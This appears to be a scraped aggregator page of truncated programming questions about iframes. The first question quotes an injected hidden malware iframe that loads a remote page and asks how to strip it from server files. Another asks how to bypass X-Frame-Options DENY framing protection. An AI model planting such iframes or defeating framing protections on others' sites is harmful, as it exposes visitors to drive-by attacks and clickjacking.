iframe

Looking for script to delete iframe malware from linux server

末鹿安然 提交于 2019-12-24 10:56:04
问题 I'm looking for a script to delete the following iframe malware from my linux server: <iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;" ></iframe> It has infected hundreads of files on my server on different websites. I tried grep -rl ishigo.sytes.net * | sed 's/ /\ /g' | xargs sed -i 's/<iframe width="1px" height="1px" src="http://ishigo.sytes.net/openstat/appropriate/promise-ourselves.php" style="display:block;"

Getting around X-Frame-Options DENY in an Android WebView

China☆狼群 提交于 2019-12-24 10:36:28
问题 I am attempting to implement a technique similar to the one describe in this question. I have an android application (Ionic built on top of Cordova) that runs in a webview. Basically what I want to do is load a page into an iframe and perform some work on this page. Many website uses the X-Frame-Options: DENY header to disallow their content from being loaded in an iFrame. In a chrome extension you can get around this by intercepting the webrequest and removing that header. I've overridden

How to check session is expired or not and redirect user to login page using javascript

夙愿已清 提交于 2019-12-24 10:34:57
问题 I am developing web application using ASP.Net MVC. In my application I am using some many ajax calls through out my application to Get/Post data for some functionality. For some functionality I am showing iframed popup. My issue is that when session is expired in my application I am redirecting user to login page but if user try to access functionality that opens in iframed popup instead of redirecting to login page my popup opens with login page inside it otherwise it's working properly. So

change ckeditor iframe dialog url

喜欢而已 提交于 2019-12-24 10:28:02
问题 I'm developing a ckeditor plugin. I have a iframe dialog like this: CKEDITOR.dialog.add( 'imageDialog', function () { return { title : 'add image', minWidth : 700, minHeight : 360, contents : [ { id : 'iframe', label : 'Lien', expand : true, elements : [ { type : 'iframe', src : 'index.php', width : '100%', height : '100%', onContentLoad : function() { } } ] } ], buttons: {disabled:true} }; } ); and I want to change the src url each time the dialog opens. How can I do this? 回答1: I succeeded

Get the contents of a class inside an iframe, with Greasemonkey

六眼飞鱼酱① 提交于 2019-12-24 09:58:27
问题 I have a Greasemonkey script which uses jQuery and detects if a "class" is present in the document. var damageMessage = $(".mw_error").text(); This works fine when the document loads and damageMessage holds a text string. The problem is that the "class" .mw_error is inside an iframe and when you click a new link inside, the iframe content loads without a page refresh but the contents of "class" do change and I want to get the new contents or text string. I’m guessing it’s because the document

Cache iframe request with ServiceWorker

有些话、适合烂在心里 提交于 2019-12-24 09:36:51
问题 I'm trying to cache the request of an iframe with my ServiceWorker (using sw-toolbox.js). But no matter what I try the files are never served from the ServiceWorker as Chrome Network Tab tells me. Here is my service-worker.js: 'use strict'; importScripts('./build/sw-toolbox.js'); self.toolbox.options.cache = { name: 'ionic-cache' }; var static_urls = [ 'https://quiqqer.local/test?app=1', 'https://quiqqer.local/calendar?app=1' ]; self.toolbox.precache(static_urls); self.toolbox.router.any('/(.

Using both form submission and redirection

此生再无相见时 提交于 2019-12-24 09:01:09
问题 I currently have a form that is submitting data to an affiliate using the GET method. The problem is, when a user fills out the form they are redirected to that same URL as the GET action goes to, it is an api page of random code. I need the user that fills out the form to be redirected to a thank you page that i host while the information from the form is still sent to that affiliate api page. I cannot manipulate the affiliate api page. How do i go about doing this? I've heard different

Setting time out in iframe inside Ext.Window

大兔子大兔子 提交于 2019-12-24 08:55:47
问题 I have an iframe inside ExtJS Ext.Window component. In the iframe , I make an ajax call to the php layer, which returns a pdf object and that gets rendered in the iframe . I need to set timeout in the js layer, say if the processing takes more than 1 second, I should abort the process. I saw about the various methods that iframe provides, but there is nothing relating to timeout. ontimeout is the closest function, but I am not clear where to set the timeout. var win = new Ext.Window({ id:

fancybox 2 iframe size does not change

醉酒当歌 提交于 2019-12-24 08:49:16
问题 I'm using fancybox to open external urls. I tired this code for fancybox-html class a href: $(document).ready(function() { $(".fancybox-html").fancybox({ fitToView : false, width : '90%', height : '90%', autoSize : false, closeClick : false, openEffect : 'none', closeEffect : 'none' }); }); HTML: <script type="text/javascript" src="http://localhost:8000/media/js/jquery-1.8.2.min.js"></script> <script type="text/javascript" src="http://localhost:8000/media/js/jquery.pageslide.min.js"></script>

How to understand if page is loaded as iframe (external site) using javascript?

[亡魂溺海] 提交于 2019-12-24 08:48:02
问题 I'm trying to find a reliable solution to determine if my page was loaded in iframe on external site using javascript. If iframe src located on the same domain it's preaty easy: you can use if (window.frameElement) or if (window.location !== window.parent.location) but if iframe src is not on the same domain all modern browsers throw exception when accessing parent and even comparing it with null. I'm totally lost. 回答1: You might be interested in the Coding Horror entry: We Done Been Framed.